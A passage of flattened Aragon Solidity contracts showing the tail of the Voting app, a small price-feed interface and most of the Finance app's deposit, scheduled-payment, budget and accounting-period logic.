modifier voteExists(uint256 _voteId) {
require(_voteId < votesLength, ERROR_NO_VOTE);
_;
}
/**
* @notice Initialize Voting app with `_token.symbol(): string` for governance, minimum support of `@formatPct(_supportRequiredPct)`%, minimum acceptance quorum of `@formatPct(_minAcceptQuorumPct)`%, and a voting duration of `@transformTime(_voteTime)`
* @param _token MiniMeToken Address that will be used as governance token
* @param _supportRequiredPct Percentage of yeas in casted votes for a vote to succeed (expressed as a percentage of 10^18; eg. 10^16 = 1%, 10^18 = 100%)
* @param _minAcceptQuorumPct Percentage of yeas in total possible votes for a vote to succeed (expressed as a percentage of 10^18; eg. 10^16 = 1%, 10^18 = 100%)
* @param _voteTime Seconds that a vote will be open for token holders to vote (unless enough yeas or nays have been cast to make an early decision)
*/
function initialize(
MiniMeToken _token,
uint64 _supportRequiredPct,
uint64 _minAcceptQuorumPct,
uint64 _voteTime
)
external
onlyInit
{
initialized();
require(_minAcceptQuorumPct <= _supportRequiredPct, ERROR_INIT_PCTS);
require(_supportRequiredPct < PCT_BASE, ERROR_INIT_SUPPORT_TOO_BIG);
token = _token;
supportRequiredPct = _supportRequiredPct;
minAcceptQuorumPct = _minAcceptQuorumPct;
voteTime = _voteTime;
}
/**
* @notice Change required support to `@formatPct(_supportRequiredPct)`%
* @param _supportRequiredPct New required support
*/
function changeSupportRequiredPct(uint64 _supportRequiredPct)
external
authP(MODIFY_SUPPORT_ROLE, arr(uint256(_supportRequiredPct), uint256(supportRequiredPct)))
{
require(minAcceptQuorumPct <= _supportRequiredPct, ERROR_CHANGE_SUPPORT_PCTS);
require(_supportRequiredPct < PCT_BASE, ERROR_CHANGE_SUPPORT_TOO_BIG);
supportRequiredPct = _supportRequiredPct;
emit ChangeSupportRequired(_supportRequiredPct);
}
/**
* @notice Change minimum acceptance quorum to `@formatPct(_minAcceptQuorumPct)`%
* @param _minAcceptQuorumPct New acceptance quorum
*/
function changeMinAcceptQuorumPct(uint64 _minAcceptQuorumPct)
external
authP(MODIFY_QUORUM_ROLE, arr(uint256(_minAcceptQuorumPct), uint256(minAcceptQuorumPct)))
{
require(_minAcceptQuorumPct <= supportRequiredPct, ERROR_CHANGE_QUORUM_PCTS);
minAcceptQuorumPct = _minAcceptQuorumPct;
emit ChangeMinQuorum(_minAcceptQuorumPct);
}
/**
* @notice Create a new vote about "`_metadata`"
* @param _executionScript EVM script to be executed on approval
* @param _metadata Vote metadata
* @return voteId Id for newly created vote
*/
function newVote(bytes _executionScript, string _metadata) external auth(CREATE_VOTES_ROLE) returns (uint256 voteId) {
return _newVote(_executionScript, _metadata, true, true);
}
/**
* @notice Create a new vote about "`_metadata`"
* @param _executionScript EVM script to be executed on approval
* @param _metadata Vote metadata
* @param _castVote Whether to also cast newly created vote
* @param _executesIfDecided Whether to also immediately execute newly created vote if decided
* @return voteId id for newly created vote
*/
function newVote(bytes _executionScript, string _metadata, bool _castVote, bool _executesIfDecided)
external
auth(CREATE_VOTES_ROLE)
returns (uint256 voteId)
{
return _newVote(_executionScript, _metadata, _castVote, _executesIfDecided);
}
/**
* @notice Vote `_supports ? 'yes' : 'no'` in vote #`_voteId`
* @dev Initialization check is implicitly provided by `voteExists()` as new votes can only be
* created via `newVote(),` which requires initialization
* @param _voteId Id for vote
* @param _supports Whether voter supports the vote
* @param _executesIfDecided Whether the vote should execute its action if it becomes decided
*/
function vote(uint256 _voteId, bool _supports, bool _executesIfDecided) external voteExists(_voteId) {
require(_canVote(_voteId, msg.sender), ERROR_CAN_NOT_VOTE);
_vote(_voteId, _supports, msg.sender, _executesIfDecided);
}
/**
* @notice Execute vote #`_voteId`
* @dev Initialization check is implicitly provided by `voteExists()` as new votes can only be
* created via `newVote(),` which requires initialization
* @param _voteId Id for vote
*/
function executeVote(uint256 _voteId) external voteExists(_voteId) {
_executeVote(_voteId);
}
// Forwarding fns
function isForwarder() external pure returns (bool) {
return true;
}
/**
* @notice Creates a vote to execute the desired action, and casts a support vote if possible
* @dev IForwarder interface conformance
* @param _evmScript Start vote with script
*/
function forward(bytes _evmScript) public {
require(canForward(msg.sender, _evmScript), ERROR_CAN_NOT_FORWARD);
_newVote(_evmScript, "", true, true);
}
function canForward(address _sender, bytes) public view returns (bool) {
// Note that `canPerform()` implicitly does an initialization check itself
return canPerform(_sender, CREATE_VOTES_ROLE, arr());
}
// Getter fns
/**
* @dev Initialization check is implicitly provided by `voteExists()` as new votes can only be
* created via `newVote(),` which requires initialization
*/
function canExecute(uint256 _voteId) public view voteExists(_voteId) returns (bool) {
return _canExecute(_voteId);
}
/**
* @dev Initialization check is implicitly provided by `voteExists()` as new votes can only be
* created via `newVote(),` which requires initialization
*/
function canVote(uint256 _voteId, address _voter) public view voteExists(_voteId) returns (bool) {
return _canVote(_voteId, _voter);
}
function getVote(uint256 _voteId)
public
view
voteExists(_voteId)
returns (
bool open,
bool executed,
uint64 startDate,
uint64 snapshotBlock,
uint64 supportRequired,
uint64 minAcceptQuorum,
uint256 yea,
uint256 nay,
uint256 votingPower,
bytes script
)
{
Vote storage vote_ = votes[_voteId];
open = _isVoteOpen(vote_);
executed = vote_.executed;
startDate = vote_.startDate;
snapshotBlock = vote_.snapshotBlock;
supportRequired = vote_.supportRequiredPct;
minAcceptQuorum = vote_.minAcceptQuorumPct;
yea = vote_.yea;
nay = vote_.nay;
votingPower = vote_.votingPower;
script = vote_.executionScript;
}
function getVoterState(uint256 _voteId, address _voter) public view voteExists(_voteId) returns (VoterState) {
return votes[_voteId].voters[_voter];
}
// Internal fns
function _newVote(bytes _executionScript, string _metadata, bool _castVote, bool _executesIfDecided)
internal
returns (uint256 voteId)
{
uint64 snapshotBlock = getBlockNumber64() - 1; // avoid double voting in this very block
uint256 votingPower = token.totalSupplyAt(snapshotBlock);
require(votingPower > 0, ERROR_NO_VOTING_POWER);
voteId = votesLength++;
Vote storage vote_ = votes[voteId];
vote_.startDate = getTimestamp64();
vote_.snapshotBlock = snapshotBlock;
vote_.supportRequiredPct = supportRequiredPct;
vote_.minAcceptQuorumPct = minAcceptQuorumPct;
vote_.votingPower = votingPower;
vote_.executionScript = _executionScript;
emit StartVote(voteId, msg.sender, _metadata);
if (_castVote && _canVote(voteId, msg.sender)) {
_vote(voteId, true, msg.sender, _executesIfDecided);
}
}
function _vote(
uint256 _voteId,
bool _supports,
address _voter,
bool _executesIfDecided
) internal
{
Vote storage vote_ = votes[_voteId];
// This could re-enter, though we can assume the governance token is not malicious
uint256 voterStake = token.balanceOfAt(_voter, vote_.snapshotBlock);
VoterState state = vote_.voters[_voter];
// If voter had previously voted, decrease count
if (state == VoterState.Yea) {
vote_.yea = vote_.yea.sub(voterStake);
} else if (state == VoterState.Nay) {
vote_.nay = vote_.nay.sub(voterStake);
}
if (_supports) {
vote_.yea = vote_.yea.add(voterStake);
} else {
vote_.nay = vote_.nay.add(voterStake);
}
vote_.voters[_voter] = _supports ? VoterState.Yea : VoterState.Nay;
emit CastVote(_voteId, _voter, _supports, voterStake);
if (_executesIfDecided && _canExecute(_voteId)) {
// We've already checked if the vote can be executed with `_canExecute()`
_unsafeExecuteVote(_voteId);
}
}
function _executeVote(uint256 _voteId) internal {
require(_canExecute(_voteId), ERROR_CAN_NOT_EXECUTE);
_unsafeExecuteVote(_voteId);
}
/**
* @dev Unsafe version of _executeVote that assumes you have already checked if the vote can be executed
*/
function _unsafeExecuteVote(uint256 _voteId) internal {
Vote storage vote_ = votes[_voteId];
vote_.executed = true;
bytes memory input = new bytes(0); // TODO: Consider input for voting scripts
runScript(vote_.executionScript, input, new address[](0));
emit ExecuteVote(_voteId);
}
function _canExecute(uint256 _voteId) internal view returns (bool) {
Vote storage vote_ = votes[_voteId];
if (vote_.executed) {
return false;
}
// Voting is already decided
if (_isValuePct(vote_.yea, vote_.votingPower, vote_.supportRequiredPct)) {
return true;
}
// Vote ended?
if (_isVoteOpen(vote_)) {
return false;
}
// Has enough support?
uint256 totalVotes = vote_.yea.add(vote_.nay);
if (!_isValuePct(vote_.yea, totalVotes, vote_.supportRequiredPct)) {
return false;
}
// Has min quorum?
if (!_isValuePct(vote_.yea, vote_.votingPower, vote_.minAcceptQuorumPct)) {
return false;
}
return true;
}
function _canVote(uint256 _voteId, address _voter) internal view returns (bool) {
Vote storage vote_ = votes[_voteId];
return _isVoteOpen(vote_) && token.balanceOfAt(_voter, vote_.snapshotBlock) > 0;
}
function _isVoteOpen(Vote storage vote_) internal view returns (bool) {
return getTimestamp64() < vote_.startDate.add(voteTime) && !vote_.executed;
}
/**
* @dev Calculates whether `_value` is more than a percentage `_pct` of `_total`
*/
function _isValuePct(uint256 _value, uint256 _total, uint256 _pct) internal pure returns (bool) {
if (_total == 0) {
return false;
}
uint256 computedPct = _value.mul(PCT_BASE) / _total;
return computedPct > _pct;
}
}
// File: @aragon/ppf-contracts/contracts/IFeed.sol
pragma solidity ^0.4.18;
interface IFeed {
function ratePrecision() external pure returns (uint256);
function get(address base, address quote) external view returns (uint128 xrt, uint64 when);
}
// File: @aragon/apps-finance/contracts/Finance.sol
/*
* SPDX-License-Identitifer: GPL-3.0-or-later
*/
pragma solidity 0.4.24;
contract Finance is EtherTokenConstant, IsContract, AragonApp {
using SafeMath for uint256;
using SafeMath64 for uint64;
using SafeERC20 for ERC20;
bytes32 public constant CREATE_PAYMENTS_ROLE = keccak256("CREATE_PAYMENTS_ROLE");
bytes32 public constant CHANGE_PERIOD_ROLE = keccak256("CHANGE_PERIOD_ROLE");
bytes32 public constant CHANGE_BUDGETS_ROLE = keccak256("CHANGE_BUDGETS_ROLE");
bytes32 public constant EXECUTE_PAYMENTS_ROLE = keccak256("EXECUTE_PAYMENTS_ROLE");
bytes32 public constant MANAGE_PAYMENTS_ROLE = keccak256("MANAGE_PAYMENTS_ROLE");
uint256 internal constant NO_SCHEDULED_PAYMENT = 0;
uint256 internal constant NO_TRANSACTION = 0;
uint256 internal constant MAX_SCHEDULED_PAYMENTS_PER_TX = 20;
uint256 internal constant MAX_UINT256 = uint256(-1);
uint64 internal constant MAX_UINT64 = uint64(-1);
uint64 internal constant MINIMUM_PERIOD = uint64(1 days);
string private constant ERROR_COMPLETE_TRANSITION = "FINANCE_COMPLETE_TRANSITION";
string private constant ERROR_NO_SCHEDULED_PAYMENT = "FINANCE_NO_SCHEDULED_PAYMENT";
string private constant ERROR_NO_TRANSACTION = "FINANCE_NO_TRANSACTION";
string private constant ERROR_NO_PERIOD = "FINANCE_NO_PERIOD";
string private constant ERROR_VAULT_NOT_CONTRACT = "FINANCE_VAULT_NOT_CONTRACT";
string private constant ERROR_SET_PERIOD_TOO_SHORT = "FINANCE_SET_PERIOD_TOO_SHORT";
string private constant ERROR_NEW_PAYMENT_AMOUNT_ZERO = "FINANCE_NEW_PAYMENT_AMOUNT_ZERO";
string private constant ERROR_NEW_PAYMENT_INTERVAL_ZERO = "FINANCE_NEW_PAYMENT_INTRVL_ZERO";
string private constant ERROR_NEW_PAYMENT_EXECS_ZERO = "FINANCE_NEW_PAYMENT_EXECS_ZERO";
string private constant ERROR_NEW_PAYMENT_IMMEDIATE = "FINANCE_NEW_PAYMENT_IMMEDIATE";
string private constant ERROR_RECOVER_AMOUNT_ZERO = "FINANCE_RECOVER_AMOUNT_ZERO";
string private constant ERROR_DEPOSIT_AMOUNT_ZERO = "FINANCE_DEPOSIT_AMOUNT_ZERO";
string private constant ERROR_ETH_VALUE_MISMATCH = "FINANCE_ETH_VALUE_MISMATCH";
string private constant ERROR_BUDGET = "FINANCE_BUDGET";
string private constant ERROR_EXECUTE_PAYMENT_NUM = "FINANCE_EXECUTE_PAYMENT_NUM";
string private constant ERROR_EXECUTE_PAYMENT_TIME = "FINANCE_EXECUTE_PAYMENT_TIME";
string private constant ERROR_PAYMENT_RECEIVER = "FINANCE_PAYMENT_RECEIVER";
string private constant ERROR_TOKEN_TRANSFER_FROM_REVERTED = "FINANCE_TKN_TRANSFER_FROM_REVERT";
string private constant ERROR_TOKEN_APPROVE_FAILED = "FINANCE_TKN_APPROVE_FAILED";
string private constant ERROR_PAYMENT_INACTIVE = "FINANCE_PAYMENT_INACTIVE";
string private constant ERROR_REMAINING_BUDGET = "FINANCE_REMAINING_BUDGET";
// Order optimized for storage
struct ScheduledPayment {
address token;
address receiver;
address createdBy;
bool inactive;
uint256 amount;
uint64 initialPaymentTime;
uint64 interval;
uint64 maxExecutions;
uint64 executions;
}
// Order optimized for storage
struct Transaction {
address token;
address entity;
bool isIncoming;
uint256 amount;
uint256 paymentId;
uint64 paymentExecutionNumber;
uint64 date;
uint64 periodId;
}
struct TokenStatement {
uint256 expenses;
uint256 income;
}
struct Period {
uint64 startTime;
uint64 endTime;
uint256 firstTransactionId;
uint256 lastTransactionId;
mapping (address => TokenStatement) tokenStatement;
}
struct Settings {
uint64 periodDuration;
mapping (address => uint256) budgets;
mapping (address => bool) hasBudget;
}
Vault public vault;
Settings internal settings;
// We are mimicing arrays, we use mappings instead to make app upgrade more graceful
mapping (uint256 => ScheduledPayment) internal scheduledPayments;
// Payments start at index 1, to allow us to use scheduledPayments[0] for transactions that are not
// linked to a scheduled payment
uint256 public paymentsNextIndex;
mapping (uint256 => Transaction) internal transactions;
uint256 public transactionsNextIndex;
mapping (uint64 => Period) internal periods;
uint64 public periodsLength;
event NewPeriod(uint64 indexed periodId, uint64 periodStarts, uint64 periodEnds);
event SetBudget(address indexed token, uint256 amount, bool hasBudget);
event NewPayment(uint256 indexed paymentId, address indexed recipient, uint64 maxExecutions, string reference);
event NewTransaction(uint256 indexed transactionId, bool incoming, address indexed entity, uint256 amount, string reference);
event ChangePaymentState(uint256 indexed paymentId, bool active);
event ChangePeriodDuration(uint64 newDuration);
event PaymentFailure(uint256 paymentId);
// Modifier used by all methods that impact accounting to make sure accounting period
// is changed before the operation if needed
// NOTE: its use **MUST** be accompanied by an initialization check
modifier transitionsPeriod {
bool completeTransition = _tryTransitionAccountingPeriod(getMaxPeriodTransitions());
require(completeTransition, ERROR_COMPLETE_TRANSITION);
_;
}
modifier scheduledPaymentExists(uint256 _paymentId) {
require(_paymentId > 0 && _paymentId < paymentsNextIndex, ERROR_NO_SCHEDULED_PAYMENT);
_;
}
modifier transactionExists(uint256 _transactionId) {
require(_transactionId > 0 && _transactionId < transactionsNextIndex, ERROR_NO_TRANSACTION);
_;
}
modifier periodExists(uint64 _periodId) {
require(_periodId < periodsLength, ERROR_NO_PERIOD);
_;
}
/**
* @notice Deposit ETH to the Vault, to avoid locking them in this Finance app forever
* @dev Send ETH to Vault. Send all the available balance.
*/
function () external payable isInitialized transitionsPeriod {
require(msg.value > 0, ERROR_DEPOSIT_AMOUNT_ZERO);
_deposit(
ETH,
msg.value,
"Ether transfer to Finance app",
msg.sender,
true
);
}
/**
* @notice Initialize Finance app for Vault at `_vault` with period length of `@transformTime(_periodDuration)`
* @param _vault Address of the vault Finance will rely on (non changeable)
* @param _periodDuration Duration in seconds of each period
*/
function initialize(Vault _vault, uint64 _periodDuration) external onlyInit {
initialized();
require(isContract(_vault), ERROR_VAULT_NOT_CONTRACT);
vault = _vault;
require(_periodDuration >= MINIMUM_PERIOD, ERROR_SET_PERIOD_TOO_SHORT);
settings.periodDuration = _periodDuration;
// Reserve the first scheduled payment index as an unused index for transactions not linked
// to a scheduled payment
scheduledPayments[0].inactive = true;
paymentsNextIndex = 1;
// Reserve the first transaction index as an unused index for periods with no transactions
transactionsNextIndex = 1;
// Start the first period
_newPeriod(getTimestamp64());
}
/**
* @notice Deposit `@tokenAmount(_token, _amount)`
* @dev Deposit for approved ERC20 tokens or ETH
* @param _token Address of deposited token
* @param _amount Amount of tokens sent
* @param _reference Reason for payment
*/
function deposit(address _token, uint256 _amount, string _reference) external payable isInitialized transitionsPeriod {
require(_amount > 0, ERROR_DEPOSIT_AMOUNT_ZERO);
if (_token == ETH) {
// Ensure that the ETH sent with the transaction equals the amount in the deposit
require(msg.value == _amount, ERROR_ETH_VALUE_MISMATCH);
}
_deposit(
_token,
_amount,
_reference,
msg.sender,
true
);
}
/**
* @notice Create a new payment of `@tokenAmount(_token, _amount)` to `_receiver` for '`_reference`'
* @dev Note that this function is protected by the `CREATE_PAYMENTS_ROLE` but uses `MAX_UINT256`
* as its interval auth parameter (as a sentinel value for "never repeating").
* While this protects against most cases (you typically want to set a baseline requirement
* for interval time), it does mean users will have to explicitly check for this case when
* granting a permission that includes a upperbound requirement on the interval time.
* @param _token Address of token for payment
* @param _receiver Address that will receive payment
* @param _amount Tokens that are paid every time the payment is due
* @param _reference String detailing payment reason
*/
function newImmediatePayment(address _token, address _receiver, uint256 _amount, string _reference)
external
// Use MAX_UINT256 as the interval parameter, as this payment will never repeat
// Payment time parameter is left as the last param as it was added later
authP(CREATE_PAYMENTS_ROLE, _arr(_token, _receiver, _amount, MAX_UINT256, uint256(1), getTimestamp()))
transitionsPeriod
{
require(_amount > 0, ERROR_NEW_PAYMENT_AMOUNT_ZERO);
_makePaymentTransaction(
_token,
_receiver,
_amount,
NO_SCHEDULED_PAYMENT, // unrelated to any payment id; it isn't created
0, // also unrelated to any payment executions
_reference
);
}
/**
* @notice Create a new payment of `@tokenAmount(_token, _amount)` to `_receiver` for `_reference`, executing `_maxExecutions` times at intervals of `@transformTime(_interval)`
* @dev See `newImmediatePayment()` for limitations on how the interval auth parameter can be used
* @param _token Address of token for payment
* @param _receiver Address that will receive payment
* @param _amount Tokens that are paid every time the payment is due
* @param _initialPaymentTime Timestamp for when the first payment is done
* @param _interval Number of seconds that need to pass between payment transactions
* @param _maxExecutions Maximum instances a payment can be executed
* @param _reference String detailing payment reason
*/
function newScheduledPayment(
address _token,
address _receiver,
uint256 _amount,
uint64 _initialPaymentTime,
uint64 _interval,
uint64 _maxExecutions,
string _reference
)
external
// Payment time parameter is left as the last param as it was added later
authP(CREATE_PAYMENTS_ROLE, _arr(_token, _receiver, _amount, uint256(_interval), uint256(_maxExecutions), uint256(_initialPaymentTime)))
transitionsPeriod
returns (uint256 paymentId)
{
require(_amount > 0, ERROR_NEW_PAYMENT_AMOUNT_ZERO);
require(_interval > 0, ERROR_NEW_PAYMENT_INTERVAL_ZERO);
require(_maxExecutions > 0, ERROR_NEW_PAYMENT_EXECS_ZERO);
// Token budget must not be set at all or allow at least one instance of this payment each period
require(!settings.hasBudget[_token] || settings.budgets[_token] >= _amount, ERROR_BUDGET);
// Don't allow creating single payments that are immediately executable, use `newImmediatePayment()` instead
if (_maxExecutions == 1) {
require(_initialPaymentTime > getTimestamp64(), ERROR_NEW_PAYMENT_IMMEDIATE);
}
paymentId = paymentsNextIndex++;
emit NewPayment(paymentId, _receiver, _maxExecutions, _reference);
ScheduledPayment storage payment = scheduledPayments[paymentId];
payment.token = _token;
payment.receiver = _receiver;
payment.amount = _amount;
payment.initialPaymentTime = _initialPaymentTime;
payment.interval = _interval;
payment.maxExecutions = _maxExecutions;
payment.createdBy = msg.sender;
// We skip checking how many times the new payment was executed to allow creating new
// scheduled payments before having enough vault balance
_executePayment(paymentId);
}
/**
* @notice Change period duration to `@transformTime(_periodDuration)`, effective for next accounting period
* @param _periodDuration Duration in seconds for accounting periods
*/
function setPeriodDuration(uint64 _periodDuration)
external
authP(CHANGE_PERIOD_ROLE, arr(uint256(_periodDuration), uint256(settings.periodDuration)))
transitionsPeriod
{
require(_periodDuration >= MINIMUM_PERIOD, ERROR_SET_PERIOD_TOO_SHORT);
settings.periodDuration = _periodDuration;
emit ChangePeriodDuration(_periodDuration);
}
/**
* @notice Set budget for `_token.symbol(): string` to `@tokenAmount(_token, _amount, false)`, effective immediately
* @param _token Address for token
* @param _amount New budget amount
*/
function setBudget(
address _token,
uint256 _amount
)
external
authP(CHANGE_BUDGETS_ROLE, arr(_token, _amount, settings.budgets[_token], uint256(settings.hasBudget[_token] ? 1 : 0)))
transitionsPeriod
{
settings.budgets[_token] = _amount;
if (!settings.hasBudget[_token]) {
settings.hasBudget[_token] = true;
}
emit SetBudget(_token, _amount, true);
}
/**
* @notice Remove spending limit for `_token.symbol(): string`, effective immediately
* @param _token Address for token
*/
function removeBudget(address _token)
external
authP(CHANGE_BUDGETS_ROLE, arr(_token, uint256(0), settings.budgets[_token], uint256(settings.hasBudget[_token] ? 1 : 0)))
transitionsPeriod
{
settings.budgets[_token] = 0;
settings.hasBudget[_token] = false;
emit SetBudget(_token, 0, false);
}
/**
* @notice Execute pending payment #`_paymentId`
* @dev Executes any payment (requires role)
* @param _paymentId Identifier for payment
*/
function executePayment(uint256 _paymentId)
external
authP(EXECUTE_PAYMENTS_ROLE, arr(_paymentId, scheduledPayments[_paymentId].amount))
scheduledPaymentExists(_paymentId)
transitionsPeriod
{
_executePaymentAtLeastOnce(_paymentId);
}
/**
* @notice Execute pending payment #`_paymentId`
* @dev Always allow receiver of a payment to trigger execution
* Initialization check is implicitly provided by `scheduledPaymentExists()` as new
* scheduled payments can only be created via `newScheduledPayment(),` which requires initialization
* @param _paymentId Identifier for payment
*/
function receiverExecutePayment(uint256 _paymentId) external scheduledPaymentExists(_paymentId) transitionsPeriod {
require(scheduledPayments[_paymentId].receiver == msg.sender, ERROR_PAYMENT_RECEIVER);
_executePaymentAtLeastOnce(_paymentId);
}
/**
* @notice `_active ? 'Activate' : 'Disable'` payment #`_paymentId`
* @dev Note that we do not require this action to transition periods, as it doesn't directly
* impact any accounting periods.
* Not having to transition periods also makes disabling payments easier to prevent funds
* from being pulled out in the event of a breach.
* @param _paymentId Identifier for payment
* @param _active Whether it will be active or inactive
*/
function setPaymentStatus(uint256 _paymentId, bool _active)
external
authP(MANAGE_PAYMENTS_ROLE, arr(_paymentId, uint256(_active ? 1 : 0)))
scheduledPaymentExists(_paymentId)
{
scheduledPayments[_paymentId].inactive = !_active;
emit ChangePaymentState(_paymentId, _active);
}
/**
* @notice Send tokens held in this contract to the Vault
* @dev Allows making a simple payment from this contract to the Vault, to avoid locked tokens.
* This contract should never receive tokens with a simple transfer call, but in case it
* happens, this function allows for their recovery.
* @param _token Token whose balance is going to be transferred.
*/
function recoverToVault(address _token) external isInitialized transitionsPeriod {
uint256 amount = _token == ETH ? address(this).balance : ERC20(_token).staticBalanceOf(address(this));
require(amount > 0, ERROR_RECOVER_AMOUNT_ZERO);
_deposit(
_token,
amount,
"Recover to Vault",
address(this),
false
);
}
/**
* @notice Transition accounting period if needed
* @dev Transitions accounting periods if needed. For preventing OOG attacks, a maxTransitions
* param is provided. If more than the specified number of periods need to be transitioned,
* it will return false.
* @param _maxTransitions Maximum periods that can be transitioned
* @return success Boolean indicating whether the accounting period is the correct one (if false,
* maxTransitions was surpased and another call is needed)
*/
function tryTransitionAccountingPeriod(uint64 _maxTransitions) external isInitialized returns (bool success) {
return _tryTransitionAccountingPeriod(_maxTransitions);
}
// Getter fns
/**
* @dev Disable recovery escape hatch if the app has been initialized, as it could be used
* maliciously to transfer funds in the Finance app to another Vault
* finance#recoverToVault() should be used to recover funds to the Finance's vault
*/
function allowRecoverability(address) public view returns (bool) {
return !hasInitialized();
}
function getPayment(uint256 _paymentId)
public
view
scheduledPaymentExists(_paymentId)
returns (
address token,
address receiver,
uint256 amount,
uint64 initialPaymentTime,
uint64 interval,
uint64 maxExecutions,
bool inactive,
uint64 executions,
address createdBy
)
{
ScheduledPayment storage payment = scheduledPayments[_paymentId];
token = payment.token;
receiver = payment.receiver;
amount = payment.amount;
initialPaymentTime = payment.initialPaymentTime;
interval = payment.interval;
maxExecutions = payment.maxExecutions;
executions = payment.executions;
inactive = payment.inactive;
createdBy = payment.createdBy;
}
function getTransaction(uint256 _transactionId)
public
view
transactionExists(_transactionId)
returns (
uint64 periodId,
uint256 amount,
uint256 paymentId,
uint64 paymentExecutionNumber,
address token,
address entity,
bool isIncoming,
uint64 date
)
{
Transaction storage transaction = transactions[_transactionId];
token = transaction.token;
entity = transaction.entity;
isIncoming = transaction.isIncoming;
date = transaction.date;
periodId = transaction.periodId;
amount = transaction.amount;
paymentId = transaction.paymentId;
paymentExecutionNumber = transaction.paymentExecutionNumber;
}
function getPeriod(uint64 _periodId)
public
view
periodExists(_periodId)
returns (
bool isCurrent,
uint64 startTime,
uint64 endTime,
uint256 firstTransactionId,
uint256 lastTransactionId
)
{
Period storage period = periods[_periodId];
isCurrent = _currentPeriodId() == _periodId;
startTime = period.startTime;
endTime = period.endTime;
firstTransactionId = period.firstTransactionId;
lastTransactionId = period.lastTransactionId;
}
function getPeriodTokenStatement(uint64 _periodId, address _token)
public
view
periodExists(_periodId)
returns (uint256 expenses, uint256 income)
{
TokenStatement storage tokenStatement = periods[_periodId].tokenStatement[_token];
expenses = tokenStatement.expenses;
income = tokenStatement.income;
}
/**
* @dev We have to check for initialization as periods are only valid after initializing
*/
function currentPeriodId() public view isInitialized returns (uint64) {
return _currentPeriodId();
}
/**
* @dev We have to check for initialization as periods are only valid after initializing
*/
function getPeriodDuration() public view isInitialized returns (uint64) {
return settings.periodDuration;
}
/**
* @dev We have to check for initialization as budgets are only valid after initializing
*/
function getBudget(address _token) public view isInitialized returns (uint256 budget, bool hasBudget) {
budget = settings.budgets[_token];
hasBudget = settings.hasBudget[_token];
}
/**
* @dev We have to check for initialization as budgets are only valid after initializing
*/
function getRemainingBudget(address _token) public view isInitialized returns (uint256) {
return _getRemainingBudget(_token);
}
/**
* @dev We have to check for initialization as budgets are only valid after initializing
*/
function canMakePayment(address _token, uint256 _amount) public view isInitialized returns (bool) {
return _canMakePayment(_token, _amount);
}
/**
* @dev Initialization check is implicitly provided by `scheduledPaymentExists()` as new
* scheduled payments can only be created via `newScheduledPayment(),` which requires initialization
*/
function nextPaymentTime(uint256 _paymentId) public view scheduledPaymentExists(_paymentId) returns (uint64) {
return _nextPaymentTime(_paymentId);
}
// Internal fns
function _deposit(address _token, uint256 _amount, string _reference, address _sender, bool _isExternalDeposit) internal {
_recordIncomingTransaction(
_token,
_sender,
_amount,
_reference
);
if (_token == ETH) {
vault.deposit.value(_amount)(ETH, _amount);
} else {
// First, transfer the tokens to Finance if necessary
// External deposit will be false when the assets were already in the Finance app
// and just need to be transferred to the Vault
if (_isExternalDeposit) {
// This assumes the sender has approved the tokens for Finance
require(
ERC20(_token).safeTransferFrom(msg.sender, address(this), _amount),
ERROR_TOKEN_TRANSFER_FROM_REVERTED
);
}
// Approve the tokens for the Vault (it does the actual transferring)
require(ERC20(_token).safeApprove(vault, _amount), ERROR_TOKEN_APPROVE_FAILED);
// Finally, initiate the deposit
vault.deposit(_token, _amount);
}
}
function _executePayment(uint256 _paymentId) internal returns (uint256) {
ScheduledPayment storage payment = scheduledPayments[_paymentId];
require(!payment.inactive, ERROR_PAYMENT_INACTIVE);
uint64 paid = 0;
while (_nextPaymentTime(_paymentId) <= getTimestamp64() && paid < MAX_SCHEDULED_PAYMENTS_PER_TX) {
if (!_canMakePayment(payment.token, payment.amount)) {
emit PaymentFailure(_paymentId);
break;
}
// The while() predicate prevents these two from ever overflowing
payment.executions += 1;
paid += 1;
// We've already checked the remaining budget with `_canMakePayment()`
_unsafeMakePaymentTransaction(
payment.token,
payment.receiver,
payment.amount,
_paymentId,
payment.executions,
""
);
}
return paid;
}
function _executePaymentAtLeastOnce(uint256 _paymentId) internal {
uint256 paid = _executePayment(_paymentId);
if (paid == 0) {
if (_nextPaymentTime(_paymentId) <= getTimestamp64()) {
revert(ERROR_EXECUTE_PAYMENT_NUM);
} else {
revert(ERROR_EXECUTE_PAYMENT_TIME);
}
}
}
function _makePaymentTransaction(
address _token,
address _receiver,
uint256 _amount,
uint256 _paymentId,
uint64 _paymentExecutionNumber,
string _reference
)
internal
{
require(_getRemainingBudget(_token) >= _amount, ERROR_REMAINING_BUDGET);
_unsafeMakePaymentTransaction(_token, _receiver, _amount, _paymentId, _paymentExecutionNumber, _reference);
}
/**
* @dev Unsafe version of _makePaymentTransaction that assumes you have already checked the
* remaining budget
*/
function _unsafeMakePaymentTransaction(
address _token,
address _receiver,
uint256 _amount,
uint256 _paymentId,
uint64 _paymentExecutionNumber,
string _reference
)
internal
{
_recordTransaction(
false,
_token,
_receiver,
_amount,
_paymentId,
_paymentExecutionNumber,
_reference
);
vault.transfer(_token, _receiver, _amount);
}
function _newPeriod(uint64 _startTime) internal returns (Period storage) {
// There should be no way for this to overflow since each period is at least one day
uint64 newPeriodId = periodsLength++;
Period storage period = periods[newPeriodId];
period.startTime = _startTime;
// Be careful here to not overflow; if startTime + periodDuration overflows, we set endTime
// to MAX_UINT64 (let's assume that's the end of time for now).
uint64 endTime = _startTime + settings.periodDuration - 1;
if (endTime < _startTime) { // overflowed
endTime = MAX_UINT64;
}
period.endTime = endTime;
emit NewPeriod(newPeriodId, period.startTime, period.endTime);
return period;
}
function _recordIncomingTransaction(
address _token,
address _sender,
uint256 _amount,
string _reference
)
internal
{
_recordTransaction(
true, // incoming transaction
_token,
_sender,
_amount,
NO_SCHEDULED_PAYMENT, // unrelated to any existing payment
0, // and no payment executions
_reference
);
}
function _recordTransaction(
bool _incoming,
address _token,
address _entity,
uint256 _amount,
uint256 _paymentId,
uint64 _paymentExecutionNumber,
string _reference
)
internal
{
uint64 periodId = _currentPeriodId();
TokenStatement storage tokenStatement = periods[periodId].tokenStatement[_token];
if (_incoming) {
tokenStatement.income = tokenStatement.income.add(_amount);
} else {
tokenStatement.expenses = tokenStatement.expenses.add(_amount);
}
uint256 transactionId = transactionsNextIndex++;
Transaction storage transaction = transactions[transactionId];
transaction.token = _token;
transaction.entity = _entity;
transaction.isIncoming = _incoming;
transaction.amount = _amount;
transaction.paymentId = _paymentId;
transaction.paymentExecutionNumber = _paymentExecutionNumber;
transaction.date = getTimestamp64();
transaction.periodId = periodId;
Period storage period = periods[periodId];
if (period.firstTransactionId == NO_TRANSACTION) {
period.firstTransactionId = transactionId;
}
